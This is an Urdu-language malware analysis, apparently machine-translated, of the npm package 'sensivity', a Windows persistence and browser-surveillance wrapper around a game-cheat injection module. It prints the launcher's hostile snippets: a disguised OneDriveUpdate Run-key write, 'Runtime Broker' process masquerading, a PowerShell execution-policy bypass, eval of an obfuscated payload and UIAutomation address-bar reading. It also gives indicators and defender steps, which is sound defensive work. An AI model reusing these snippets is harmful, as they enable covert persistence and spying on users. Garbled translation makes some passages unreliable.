TL؛ ڈاکٹر
این پی ایم پیکیج حساسیت خود کو "حساسیت کنٹرول پینل" کے طور پر بیان کرتا ہے۔ ونڈوز پر یہ ریموٹ کنٹرول اور نگرانی کے آلے کے طور پر کام کرتا ہے۔
اس کا داخلی مقام، launcher.js، اپنے عمل کا نام بدل کر رن ٹائم بروکر رکھ دیتا ہے، ایک آٹو اسٹارٹ رن-کی ویلیو لکھتا ہے۔ OneDriveUpdate جو ایک پوشیدہ VBScript کے ذریعے پیکج کو دوبارہ لانچ کرتا ہے، اس کے ساتھ PowerShell پیدا کرتا ہے۔ -ExecutionPolicy Bypass، اور پھر 6.87 MB مقامی ماڈیول کے ساتھ ساتھ 171 KB مبہم سرور پے لوڈ کی تصدیق کرتا ہے، sens.node.
یہ TCP پورٹ 3000 پر ایک فون پیئرنگ کنٹرول پینل پیش کرتا ہے اور ونڈوز UIAutomation کے ذریعے فعال براؤزر کا ایڈریس بار URL پڑھتا ہے، ایک ہارڈ کوڈڈ یوٹیوب ویڈیو دیکھتا ہے۔
دو حصے جو پہلے پڑھتے تھے بلیک باکس کے طور پر اب حل ہو گئے ہیں۔ مبہم سرور، server.obf.js، ایک obfuscator.io RC4 string-array اسکیم استعمال کرتا ہے۔ اس کے ڈیکوڈر کو آف لائن دوبارہ لاگو کرنے سے (کوئی جاوا اسکرپٹ عمل میں نہیں آیا) ایک بیرونی اختتامی نقطہ کو بحال کرتا ہے۔ https://izopi.com/check.php - ایک ایمبیڈڈ RSA عوامی کلید کے ساتھ جو دستخط شدہ لائسنس کے جوابات کی تصدیق کے لیے استعمال ہوتی ہے۔
مقامی ماڈیول، sens.node, پیکڈ نہیں ہے: اس کی امپورٹ ٹیبل اور ایمبیڈڈ سٹرنگز اس کی شناخت ایک DirectX 11 / Dear ImGui ان گیم اوورلے کے طور پر کرتی ہیں جو ایمبوٹ، ESP (وال ہیک) اور ٹرگر بوٹ فیچرز فراہم کرتی ہیں، جو ریموٹ پروسیس انجیکشن اور میموری ریڈز/رائٹ سے چلتی ہیں۔
اس کے اندر موجود سٹرنگز گاڑیوں کے اداروں اور نقشہ جات کا حوالہ دیتے ہیں جو GTA V/ FiveM سے مطابقت رکھتے ہیں۔ npm پیکیج اس مقامی ماڈیول کے ارد گرد ترسیل اور استقامت کا ریپر ہے۔
وضاحتی سگنل آپریشنل ہے، تکنیکی نہیں: ایک ہی گمنام پبلشر نے ایک پیکیج کے تقریباً ستر ورژن کو آگے بڑھایا۔ 2.5.0 کے ذریعہ 2.5.69 — چند دنوں میں، ہر ایک ایک ہی لانچر لے کر جاتا ہے۔
کوئی انسٹال نہیں ہیں۔ hooks. پے لوڈ صرف اس وقت چلتا ہے جب پیکیج شروع ہوتا ہے۔
حملہ: یہ کیسے کام کرتا ہے۔
حساسیت دس فائلیں بھیجتی ہے۔ پیکیج ڈاٹ جےسن بہت کم ہے: کوئی ریپوزٹری فیلڈ نہیں، کوئی لائسنس نہیں، ایک مین اور دو بن عرف (حساسیت، سینس) سبھی لانچر ڈاٹ جے ایس کی طرف اشارہ کرتے ہیں، اور نوڈ لانچر ڈاٹ جے ایس کا ایک اسٹارٹ اسکرپٹ۔ کوئی پوسٹ انسٹال یا پری انسٹال نہیں ہے۔ این پی ایم انسٹال پر کچھ بھی فائر نہیں ہوتا ہے۔ ذیل میں بیان کردہ طرز عمل اس وقت چلتا ہے جب صارف پیکج شروع کرتا ہے — بِن شیم، اسٹارٹ اسکرپٹ، یا ضرورت کے ذریعے۔
ٹربال میں لانچر، ایک مبہم سرور، مقامی ماڈیول، ایک بصری بنیادی اسکرپٹ، اور کنٹرول پینل کے لیے ایک عوامی/ویب ڈائرکٹری ہوتی ہے۔ launcher.js پڑھنے کے قابل آرکیسٹریٹر ہے۔ منطق جو رن ٹائم میں اہمیت رکھتی ہے وہ ان دو بلابز میں رہتی ہے جو اسے لوڈ کرتے ہیں — ایک مبہم سرور اور ایک مرتب شدہ مقامی ماڈیول، دونوں ذیل میں حل کیے گئے ہیں۔
پروسیس بہانا اور ایک جعلی OneDrive اپڈیٹر
ابتدائی عمل میں لانچر ڈاٹ جے ایس اپنے عمل کا نام دو بار سیٹ کرتا ہے:
javascript process.title = 'Runtime Broker'; رن ٹائم بروکر ونڈوز کا ایک جائز عمل ہے (RuntimeBroker.exe) جو ایپ کی اجازتوں میں ثالثی کرتا ہے۔ نوڈ کے عمل کو اس سے مماثل رکھنے کے لیے نام تبدیل کرنے کا مطلب ہے کہ ٹاسک مینیجر پر ایک فوری نظر کوئی غیر معمولی چیز نہیں دکھاتی ہے۔
استقامت براہ راست رجسٹری API کے بجائے PowerShell کے ذریعے لکھی جاتی ہے۔
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); آٹو اسٹارٹ ویلیو کا نام OneDriveUpdate ہے، اور یہ براہ راست پیکیج کی طرف اشارہ نہیں کرتا ہے۔ یہ بنڈل والے OneDrive.Standalone.Updater.vbs کو چلانے والے wscript.exe کی طرف اشارہ کرتا ہے۔ وہ اسکرپٹ ایک پوشیدہ ونڈو میں نوڈ لانچر ڈاٹ جے ایس کو دوبارہ لانچ کرتا ہے۔ Run-key نام اور VBScript فائل نام دونوں مائیکروسافٹ برانڈنگ کو ادھار لیتے ہیں، اس لیے آٹو اسٹارٹ انٹری کو ایک روٹین OneDrive ٹاسک کے طور پر پڑھا جاتا ہے۔
ایگزیکیوشن پالیسی بائی پاس کے ساتھ پاور شیل
لانچر بار بار پاور شیل پر گولہ باری کرتا ہے۔ وہ سنک جو اسکینرز کو اہم کے طور پر جھنڈا دیتا ہے وہ ایک جنریٹڈ .ps1 کا اجراء ہے جس پر عمل درآمد کی پالیسی غیر فعال ہے:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy بائی پاس اس درخواست کے لیے مقامی اسکرپٹ پر دستخط کرنے والے چیک کو ہٹا دیتا ہے۔ تیار کردہ اسکرپٹ براؤزر کی نگرانی اور ونڈو کا پتہ لگانے کے کام کو سنبھالتی ہیں جو اگلے حصے میں بیان کی گئی ہیں۔
مبہم سرور اور مقامی ماڈیول
سیٹ اپ کے بعد، launcher.js اپنے حقیقی پے لوڈ کو لوڈ اور اس پر عمل درآمد کرتا ہے:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js _0x-array obfuscation کا 171 KB ہے — جاوا اسکرپٹ پیٹرن جہاں ہر اسٹرنگ اور شناخت کنندہ کو ایک انڈیکس سے بدلی ہوئی صف میں بدل دیا جاتا ہے، پھر رن ٹائم پر ڈی ریفرنس کیا جاتا ہے۔ اسکیم RC4 ویرینٹ ہے جو obfuscator.io کے ذریعہ تیار کی گئی ہے: ایک سنگل ڈیکوڈر فنکشن بیس 64-ڈی کوڈ ایک صف اندراج کرتا ہے اور پھر RC4 اسے فی کال کلید کے ساتھ ڈیکرپٹ کرتا ہے۔ اس ڈیکوڈر کو ایک علیحدہ اسکرپٹ میں دوبارہ لاگو کرنا — صرف نکالے گئے 821-انٹری سٹرنگ سرنی پر دوبارہ عمل درآمد کرنا، کبھی بھی پیکیج کا اپنا جاوا اسکرپٹ نہیں — اسے صاف طور پر کھولتا ہے۔ کیا سطحیں معمولی ہے لیکن ڈیcisive: ایک بیرونی URL، https://izopi.com/check.php`، ایک LICENSE_URL مستقل کو تفویض کردہ؛ ایک سرایت شدہ RSA PUBLIC_KEY_PEM`؛ مقامی پینل کے راستے /api/kill، /api/qr.png، /api/trigger، /api/url، /trigger/off، اور /trigger/status؛ اور سٹرنگز child_process، crypto، اور [Sensivity] sens.node لوڈ کیے گئے — آخری لاگ لائن ہے جو لانچر نے پروگرام ماڈیول لوڈ کیے جانے پر دوبارہ لکھا ہے۔ اینڈ پوائنٹ ایک لائسنس چیک ہے: کلائنٹ ایک شناخت کنندہ پوسٹ کرتا ہے (مبہم سرور ایک Discord ID: %s سٹرنگ کو فارمیٹ کرتا ہے) اور RSA کلید سرور کے دستخط شدہ جواب کی تصدیق کرتی ہے۔
sens.node ایک 6.87 MB مرتب کردہ مقامی ایڈون ہے، اور یہ پیک نہیں ہے — سیکشن اینٹروپی 5.6–6.6 پر بیٹھتی ہے اور PE درآمد اور برآمد کی میزیں برقرار ہیں، لہذا اس کی صلاحیتیں براہ راست پڑھنے کے قابل ہیں۔ یہ napi_register_module_v1 برآمد کرتا ہے۔ standard نوڈ N-API انٹری پوائنٹ، لہذا eval'd سرور اسے سادہ ضرورت کے ساتھ لوڈ کرتا ہے۔ اس کی امپورٹ ٹیبل بتائی جاتی ہے۔ KERNEL32 سے یہ OpenProcess، VirtualAllocEx، WriteProcessMemory، ReadProcessMemory، CreateRemoteThread، K32EnumProcessModules، اور Process32First/NextW کو کھینچتا ہے — دوسرے عمل کو تلاش کرنے، اس کے اندر میموری کو مختص کرنے، اور اس میموری کو پڑھنے یا لکھنے کے لیے کینونیکل سیٹ۔ USER32 سے یہ GetAsyncKeyState، GetKeyState، mouse_event، اور SetCursorPos کو کھینچتا ہے۔ یہ آن اسکرین اوورلے کے لیے d3d11.dll، D3DCOMPILER_43، اور dwmapi کو لنک کرتا ہے، اور نیٹ ورک کالز کے لیے مکمل WINHTTP سیٹ۔ اس کے ایمبیڈڈ سٹرنگز بغیر کسی ابہام کے فیچر سیٹ کا نام دیتے ہیں: Aimbot، Aimbot FOV، Box ESP، Skeleton ESP، Triggerbot، ESP Builder، Vehicle ESP، Electron Anticheat کا پتہ چلا، اور Dear ImGui بینر Dear ImGui 1.91.3 WIP کو فعال کریں۔ مقام اور ہستی کی تاریں جیسے کہ Grapeseed Medical Clinic اور گاڑی-ESP الفاظ GTA V/ FiveM کے ساتھ مطابقت رکھتے ہیں۔
تقسیم جان بوجھ کر عمل میں آتی ہے: پڑھنے کے قابل لانچر ڈاٹ جے ایس میں صرف وہ حصے ہوتے ہیں جو اسکینر آسانی سے پڑھتا ہے — استقامت، ماسکریڈ، ایول کال خود — جب کہ اوباسکیشن ایک بیرونی میزبان کو رن ٹائم رابطوں کو چھپاتا ہے، اور بائنری گیم اوورلے اور پروسیس انجیکشن منطق کو رکھتی ہے۔ لانچر پتلا، قابل سماعت خول ہے۔ مبہم سرور نیٹ ورک کی شناخت کو چھپاتا ہے۔ مقامی ماڈیول پے لوڈ ہے۔ ہم بائنری کی درآمدات اور تاروں کو پڑھے گئے بیان کرتے ہیں۔ ہم ان سے آپریٹر کے مقصد کا اندازہ نہیں لگاتے۔
پورٹ 3000 پر ایک فون پیئرنگ کنٹرول پینل
لانچر TCP پورٹ 3000 پر مقامی ویب سرور کا انتظام کرتا ہے اور اسے سنگلٹن کے طور پر دیکھتا ہے۔ یہ موجودہ سامعین کے لیے استفسار کرتا ہے اور پابند کرنے سے پہلے اسے صاف کرتا ہے:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); پینل http://localhost:3000 پر قابل رسائی ہے، http://192.168.1.16:3000 کے ہارڈ کوڈڈ LAN فال بیک URL کے ساتھ۔ عوامی/ ڈائریکٹری اور پینل کا رویہ QR- جوڑا بنانے کے بہاؤ سے مطابقت رکھتا ہے: ایک فون ایک کوڈ کو اسکین کرتا ہے اور میزبان کو ریموٹ کے طور پر منسلک کرتا ہے۔ لانچر میں کلیئر ٹیکسٹ میں کوئی بیرونی کمانڈ اینڈ کنٹرول ڈومین ظاہر نہیں ہوتا ہے — لیکن جیسا کہ اوپر دی گئی ڈیبفسکیشن سے ظاہر ہوتا ہے، ایک مبہم سرور میں موجود ہے: izopi.com لائسنس اینڈ پوائنٹ۔ پینل خود مقامی اور LAN کے دائرہ کار میں ہے۔ صرف آؤٹ باؤنڈ میزبان وہ لائسنس چیک ہے۔
ایک علیحدہ سپروائزر/کارکن ماڈل اس عمل کو زندہ رکھتا ہے۔ لانچر خود کو SENSIVITY_SUPERVISOR اور SENSIVITY_WORKER ماحول کے جھنڈوں کے ساتھ دوبارہ پیدا کرتا ہے، ہر ایک بچہ چھپا ہوا چل رہا ہے، لہذا ایک عمل کو مارنے سے اسے دوبارہ شروع کرنے کے لیے ایک واچ ڈاگ رہ جاتا ہے۔
براؤزر کی نگرانی اور YouTube سگنل
سب سے مخصوص طرز عمل براؤزر کی نگرانی ہے۔ launcher.js پاور شیل بناتا ہے جو چلانے والے براؤزر کے ایڈریس بار کو پڑھنے کے لیے ونڈوز UIA آٹومیشن چلاتا ہے:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ویلیو پیٹرن UI عنصر کا متنی مواد لوٹاتا ہے۔ براؤزر کے ایڈریس بار میں ترمیم کرنے والے کنٹرول پر لاگو کیا جاتا ہے، یہ وہ URL واپس کرتا ہے جسے متاثرہ شخص اس وقت دیکھ رہا ہے — براؤزر کی توسیع کے بغیر، ڈسک پر پروفائل کو چھوئے بغیر، اور API ہک کے بغیر۔ تیار کردہ اسکرپٹ ایک $browserNames فہرست کو دہراتا ہے اور جو بھی براؤزر پیش منظر میں ہو اس کا URL یا ونڈو ٹائٹل نکالتا ہے۔
اس یو آر ایل کو ایک ہی سخت کوڈ والے ہدف کے خلاف جانچا جاتا ہے:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; لانچر یوٹیوب کو دکھانے والی براؤزر ونڈو کے لیے تین سیکنڈ کے لوپ پر پول کرتا ہے، اور تیار کردہ PowerShell میں Get-YouTubeBrowser/Test-TargetYouTubeUrl جوڑا ہوتا ہے جو اس ویڈیو ID سے ملتا ہے۔ قابل مشاہدہ اثر دوگنا ہے: فعال براؤزنگ یو آر ایل متاثرہ کی اسکرین سے پڑھا جاتا ہے، اور ایک مخصوص YouTube ویڈیو کے ساتھ میزبان کے تعامل کا پتہ چلا ہے۔ ہم طریقہ کار اور ہدف کی وضاحت کرتے ہیں۔ ہم ان سے کسی مقصد کا اندازہ نہیں لگاتے۔
ایڈریس بار پڑھا جاتا ہے جسے سکینر لیبل کرتا ہے sensitive_data_enumeration — ایک Process::env اور UIAutomation سورس جو نیٹ ورک کے قابل رن ٹائم کو فیڈ کرتا ہے۔ یہ تنہائی میں بے نظیر نظر آتا ہے اور صرف اس وقت نگرانی کا حل کرتا ہے جب ڈیٹا لائف سائیکل کو UIAutomation سورس سے مبہم سرور تک ٹریس کیا جاتا ہے۔
ٹائم لائن اور ورژن ارتقاء
حساسیت ایک شاٹ اپ لوڈ نہیں ہے۔ پبلشر اکاؤنٹ میں اس واحد پیکج کے تقریباً ستر شائع شدہ ورژن ہیں، اور جائزہ ونڈو کے دوران نئے آتے رہتے ہیں۔ لانچر 2.5.x لائن میں خصوصیت کے لحاظ سے بڑھتا ہے جبکہ اس کی استقامت اور پے لوڈ لوڈنگ مقررہ رہتی ہے۔
| تاریخ (UTC) | مشاہدہ شدہ ورژن | لانچر کی حالت |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | بیس کیو آر پینل لانچر؛ رن کلید استقامت؛ مبہم سرور کا اندازہ۔ |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | ایک ہی فنگر پرنٹ؛ کنسول ٹریس دبانا۔ |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | پن کردہ YouTube مصروفیت کا ہدف شامل کرتا ہے۔ wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | خلا کو بھرنے والی رینج بھر میں دوبارہ شائع کرنا؛ سپروائزر/ ورکر واچ ڈاگ۔ |
ڈاؤن لوڈ کردہ نمائندوں میں لانچر کو پڑھنا — 2.5.0، 2.5.36، اور 2.5.69 — چار درجے دکھاتا ہے۔ ابتدائی تعمیرات میں بیس کیو آر پیئرنگ لانچر ہوتا ہے۔ 2.5.33 سے UIA آٹومیشن ایڈریس بار ہارویسٹر ظاہر ہوتا ہے۔ 2.5.58 سے ایک سپروائزر مینجمنٹ پرت شامل کی جاتی ہے۔ 2.5.64 سے علیحدہ سپروائزر/ ورکر واچ ڈاگ سیٹ مکمل کرتا ہے۔ چار چیزیں کبھی تبدیل نہیں ہوتیں: OneDriveUpdate Run کلید، OneDrive.Standalone.Updater.vbs ڈراپر، eval'd server.obf.js، اور sens.node مقامی ماڈیول۔
2026-06-05 کی لہر قابل ذکر ہے کیونکہ اس نے کم ورژن نمبرز — 2.5.0 سے 2.5.15 تک — کو دوبارہ شائع کیا ہے جو کچھ دن پہلے تصدیق شدہ ورژن کے نیچے بیٹھتے ہیں۔ اثر رجسٹری پر ایک متصل 2.5.x لائن ہے، ہر ورژن میں ایک ہی لانچر ہوتا ہے۔
سمجھوتہ کے اشارے
نیچے دیے گئے تمام اشارے پیکج ٹربال سے براہ راست پڑھے گئے تھے۔ پڑھنے کے قابل لانچر میں صرف لوپ بیک اور ایک نجی LAN پتہ ہوتا ہے۔ ایک بیرونی میزبان نام، izopi.com، سرور.obf.js کو آف لائن deobfuscating کے ذریعے بازیافت کیا گیا۔
| قسم | اشارے | نوٹس |
|---|---|---|
| پیکج | npm:sensivity (≈70 ورژن، 2.5.0-2.5.69) | سنگل پیکیج پبلشر؛ کوئی ذخیرہ نہیں؛ بغیر لائسنس کے |
| فائل | launcher.js | پڑھنے کے قابل آرکیسٹریٹر؛ مین اور بن ہدف۔ |
| فائل | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array پے لوڈ، کے ذریعے لوڈ کیا گیا۔ eval(fs.readFileSync(...)). |
| فائل | sens.node (≈6.87 MB) | PE32+ x86-64 نوڈ N-API ایڈون؛ SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| فائل | OneDrive.Standalone.Updater.vbs | چھپا ہوا دوبارہ لانچر (node launcher.js). |
| نیٹ ورک | https://izopi.com/check.php | مبہم سرور سے برآمد شدہ لائسنس/تصدیق کا اختتامی نقطہ؛ سرایت شدہ RSA عوامی کلید جوابات کی تصدیق کرتی ہے۔ |
| صلاحیت | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | ریموٹ پروسیس انجیکشن اور میموری پڑھنے/لکھنے کی صلاحیت۔ |
| صلاحیت | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui گیم اوورلے ایمبوٹ، ESP، اور ٹرگر بوٹ خصوصیات کو نافذ کرتا ہے۔ |
| رجسٹری | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | آٹو اسٹارٹ ویلیو کی طرف اشارہ کرنا wscript.exe اور VBScript لانچر۔ |
| عمل | process.title = 'Runtime Broker' | جائز Windows رن ٹائم بروکر کے عمل کے طور پر Masquerades. |
| طرز عمل | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | ایگزیکیوشن پالیسی بائی پاس جنریٹڈ پاور شیل اسکرپٹس کے لیے استعمال ہوتا ہے۔ |
| طرز عمل | UIAutomation ValuePattern براؤزر ایڈریس بار کو پڑھیں | پیش منظر براؤزر ونڈو کا URL پڑھتا ہے۔ |
| طرز عمل | ٹارگٹ ویڈیو ID wJWta2lO0Lw; 3 سیکنڈ کا YouTube پول | پن لگا ہوا منگنی کی نگرانی کا سگنل۔ |
| نیٹ ورک | http://localhost:3000، فال بیک http://192.168.1.16:3000 | کیو آر پیئرنگ کنٹرول پینل مقامی طور پر اور LAN پر ظاہر ہوتا ہے۔ |
| ماحولیات | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | علیحدہ واچ ڈاگ عمل کوآرڈینیشن جھنڈے۔ |
انتساب، اثر، اور محافظ
یہ پیکیج ایک واحد npm اکاؤنٹ کے ذریعہ شائع کیا گیا ہے جس کا بیان کردہ ای میل ایک غیر تصدیق شدہ Gmail پتہ ہے۔ اکاؤنٹ میں رجسٹری کی ساکھ کا گہرا اسکور ہوتا ہے، صرف اس ایک پیکیج کو برقرار رکھتا اور شائع کرتا ہے، اور اس کا کوئی منسلک ماخذ ذخیرہ نہیں ہے۔ ہم نے ای میل کی ملکیت کی تصدیق نہیں کی ہے اور ہم مہم کو پبلشر اکاؤنٹ سے منسوب کرتے ہیں، کسی نامزد فرد سے نہیں۔ لانچر میں کوئی کلیئر ٹیکسٹ انفراسٹرکچر نہیں ہے، لیکن ایک بیرونی میزبان اب معلوم ہے: مبہم سرور لائسنس کی جانچ کے لیے izopi.com سے رابطہ کرتا ہے، اور مقامی ماڈیول — اس کے امپورٹ ٹیبل اور سٹرنگز سے پڑھا جاتا ہے بجائے اس کے کہ انسٹرکشن بہ انسٹرکشن کو الٹ دیا جاتا ہے۔
قابل مشاہدہ اثر ونڈوز صارفین پر پڑتا ہے جو کنٹرول پینل کی افادیت کی توقع کرتے ہوئے حساسیت کو انسٹال اور چلاتے ہیں۔ ان میزبانوں پر پیکج ایک OneDrive ٹاسک کے طور پر بھیس بدل کر آٹو اسٹارٹ استقامت قائم کرتا ہے، سسٹم کے عمل کی نقل کرنے کے لیے اپنا نام بدلتا ہے، صارف جو بھی براؤز کر رہا ہے اس کا URL پڑھتا ہے، اور جوڑا بنانے والا پینل کھڑا کرتا ہے جو مشین کو مقامی نیٹ ورک پر ریموٹ سے جوڑتا ہے۔ سپروائزر/ ورکر واچ ڈاگ کا مطلب ہے کہ ایک ہی عمل کا خاتمہ اسے نہیں ہٹاتا ہے۔ رن کی انٹری ریبوٹس سے بچ جاتی ہے۔ میک او ایس اور لینکس کو لانچر کے ذریعے نشانہ نہیں بنایا جاتا ہے — استقامت، پاور شیل، اور یو آئی اے آٹومیشن کے راستے صرف ونڈوز کے لیے ہیں۔
ستر ورژن کا منتھن پرچم لگانے کے قابل رجحان ہے۔ چند دنوں میں ایک پیکج کو درجنوں بار دوبارہ شائع کرنا، بشمول پہلے سے ہٹائے گئے ورژن نمبروں کے نیچے بیک فلنگ، رجسٹری پر ایک لائیو کاپی کو ہٹانے کے درمیان رکھتا ہے اور ورژن سے منسلک بلاک لسٹوں کو مایوس کرتا ہے۔ sensivity@2.5.61 کے لیے بلاک لسٹ کا اندراج اگلے دن دوبارہ شائع ہونے والی sensivity@2.5.3 کے خلاف کچھ نہیں کرتا۔
محافظ درج ذیل پر عمل کر سکتے ہیں:
- رجسٹری پراکسی اور سی آئی کی اجازت دینے والی فہرستوں میں پیکیج کے نام کی حساسیت کو بالکل مسدود کریں۔ انفرادی ورژن کو پن کرنے سے دوبارہ شائع ہونے والی کیڈنس ختم ہو جاتی ہے۔ نام پائیدار اشارے ہے.
- OneDriveUpdate نامی ایک رن ویلیو کی تلاش کریں جس کا ڈیٹا فی صارف کے راستے میں .vbs کے خلاف wscript.exe کی درخواست کرتا ہے۔ حقیقی OneDrive اپڈیٹر اس طرح رجسٹرڈ نہیں ہے۔
- Node.js پروسیس پر الرٹ جس کا process.title رن ٹائم بروکر ہے۔ اصلی بروکر RuntimeBroker.exe ہے، Node رن ٹائم نہیں۔
- فلیگ npm ان پیکجز کے انسٹال ٹائم فیچز جو ایک کمپائل شدہ .node addon کے علاوہ eval(fs.readFileSync(…)) بہن بھائی .obf.js فائل بھیجتے ہیں۔ وہ جوڑا - ایک مبہم ٹیکسٹ پے لوڈ کے ساتھ مبہم مقامی بائنری بھری ہوئی - کسی بھی سٹرنگ IOC سے آزاد، یہاں ساختی بتانا ہے۔
- پورٹ 3000 پر کسی بھی مقامی طور پر پابند سننے والے کے ساتھ غیر متوقع نوڈ کے عمل سے پیدا ہونے والے ونڈوز اینڈ پوائنٹس پر مشتبہ سلوک کریں۔
- ڈویلپر یا اختتامی صارف کے میزبانوں سے izopi.com کو آؤٹ باؤنڈ درخواستوں پر بلاک یا الرٹ؛ یہ پیکج کا واحد بیرونی اختتامی نقطہ ہے، جو مبہم سرور سے /check.php پر پہنچا ہے۔
- کسی بھی بنڈل .node ایڈون کے لیے، اس پر بھروسہ کرنے سے پہلے اس کی درآمدی میز کا معائنہ کریں۔ مجموعہ OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ریموٹ پروسیس انجیکشن ہے قطع نظر اس سے کہ پیکیج کیا کرنے کا دعوی کرتا ہے۔ یہاں یہ ایک Direct3D اوورلے اور aimbot/ESP/triggerbot سٹرنگز کے ساتھ بیٹھا ہے۔
جامد تجزیہ کے لیے pipelines، یقین کی شکل پورے ورژن میں پائیدار ہے: ایک نان نیٹ ورک انسٹال پروفائل، معلوم سسٹم پروسیس کے نام کے لیے پروسیس ٹائٹل تفویض، پاور شیل کے ذریعے رن کلید لکھنا، اور ڈسک سے پڑھی گئی فائل کا اندازہ۔ ان میں سے کوئی بھی ڈومین، آئی پی، یا کسی ایسے ورژن نمبر پر منحصر نہیں ہے جسے اگلی دوبارہ شائع کیا جا سکتا ہے۔
حوالہ جات
[npm: حساسیت] - یہاں زیر بحث پیکیج ورژن لائن کے لیے رجسٹری کا صفحہ؛ ہٹانے کے تابع۔
